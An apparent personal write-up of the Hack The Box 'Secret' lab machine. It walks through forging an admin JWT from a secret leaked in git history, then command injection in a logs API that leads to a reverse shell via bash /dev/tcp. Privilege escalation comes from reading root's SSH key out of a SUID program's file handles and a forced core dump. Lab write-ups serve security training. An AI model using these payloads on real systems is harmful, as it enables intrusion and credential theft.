Home htb secret
Post
Cancel

htb secret

nmap

1
2
nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.11.120
nmap -p 22,80,3000 -sCV -oA scans/nmap-tcpscripts 10.10.11.120

See 80, 3000 port run the same thing:

  1. maybe 80 is a reverse proxy of 3000.
  2. maybe one developer version, one production version.
  3. some misconfiguration

Directory discovery

1
feroxbuster -u http://10.10.11.120

use API by document

1
2
3
4
# /api/user/register
curl -d '{"name":"0xdf0xdf","email":"dfdfdfdf@secret.com","password":"password"}' -X POST http://10.10.11.120/api/user/register -H 'Content-Type: Application/json'
# /api/user/login
curl -d '{"email":"dfdfdfdf@secret.com","password":"password"}' -X POST http://10.10.11.120/api/user/login -H 'Content-Type: Application/json'
  • -d data
  • -X method
  • -H header
  • It supports these protocols: DICT, FILE, FTP, FTPS, GOPHER, GOPHERS, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, MQTT, POP3, POP3S, RTMP, RTMPS, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET or TFTP.
  • after the request, got a JWT.

nginx

  • port 80 is same with port 3000. 3000 does not have NGINX.
  • suspect NGINX is just there to proxy for Express.

analysis the source

  • nodejs express application

find Token generation

1
2
3
// Dotenv loads environment variables from a .env file into process.env
const dotenv = require('dotenv')
dotenv.config();
1
2
3
4
5
// create jwt
const jwt = require("jsonwebtoken");
const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
res.header('auth-token', token).send(token);
const verified = jwt.verify(token, process.env.TOKEN_SECRET);

find git information

1
2
git log --oneline
git show 67d8da7

get the TOKEN_SECRET from git old version

find some api need “admin”`s token

  • like /api/priv and /api/logs

Forge JWT

https://jwt.io/

decode

pip3 install pyjwt

1
2
3
4
5
6
import jwt
token='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTc4MjUzMzJjMmJhYjA0NDVjNDg0NjIiLCJuYW1lIjoiMHhkZjB4ZGYiLCJlbWFpbCI6ImRmZGZkZmRmQHNlY3JldC5jb20iLCJpYXQiOjE2MzUyNjM4Mjh9.rMfMsdYkfSbl4hr1RJFwY3qWfrA3LSWVlzUON_9EW_A'
secret='gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE'
# decode
jwt.decode(token, secret, algorithms=["HS256"])
# result-> {'_id': '617825332c2bab0445c48462', 'name': '0xdf0xdf', 'email': 'dfdfdfdf@secret.com', 'iat': 1635263828}

Create Token

1
2
3
4
j = jwt.decode(token, secret, algorithms=["HS256"])
j['name'] = 'theadmin'
jwt.encode(j, secret, algorithm="HS256")
# result-> eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MTc4MjUzMzJjMmJhYjA0NDVjNDg0NjIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRmZGZkZmRmQHNlY3JldC5jb20iLCJpYXQiOjE2MzUyNjM4Mjh9.cRgg1KkYXYSwz1xpknTFWTHnx8D-7UMewMubwAGsvQ8

try to use

1
curl -s 'http://10.10.11.120/api/priv' -H "auth-token: {token}" | jq .

Command Injection

1
2
3
if (name == 'theadmin'){
    const getLogs = `git log --oneline ${file}`;
    exec(getLogs, (err , output) =>{

try to manituplate to -> git log --oneline; [any command] curl -s 'http://10.10.11.120/api/logs?file=;ping+-c+1+10.10.14.6' -H "auth-token: {token}" | jq -r . attacker machine -> sudo tcpdump -ni tun0 icmp

Force to use G (Get) method.

  • -d, –data, –data-binary or –data-urlencode to be used in an HTTP GET request instead of the POST request.
    1
    2
    3
    4
    
    curl -s -G 'http://10.10.11.120/api/logs' \
    --data-urlencode 'file=/dev/null;id' \
    -H "auth-token: {token}" \
    | jq -r .
    

reverse shell

1
2
3
4
curl -s -G 'http://10.10.11.120/api/logs' \
--data-urlencode "file=>/dev/null;bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'" \
-H "auth-token: {token}" \
| jq -r .

attackers machine: nc -lnvp 443`

privesc

get information from coredump.

an suid program

1
2
3
4
5
6
7
8
filecount(path, summary);
// source code of "count" program
// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
printf("Save results a file? [y/N]: ");
res = getchar();
  • ps auxww | grep count find pid of the program
  • background the program at getchar()
  • find file handler in /proc/[pid]/fd
  • find “/root/.viminfo” as input file path can be readable
  • as we can not access “/root”, we can not cat /root/.viminfo
  • but we can read .viminfo from file handler
  • We can get the SSH key from it.

another way, from Crash Dump

  • Because Enabled coredump generation
  • When a program crashes, the system stores the crash dump files in /var/crash
  • input /root/.ssh/id_rsa as path input
  • kill -l list kill signals
  • kill -SIGSEGV {pid} send a segmentation fault
  • /var/crash$ apport-unpack _opt_count.1000.crash /tmp/0xdf decompress the dump into a given directory
  • strings -n 30 CoreDump
  • then get the SSH key from it.
This post is licensed under CC BY 4.0 by the author.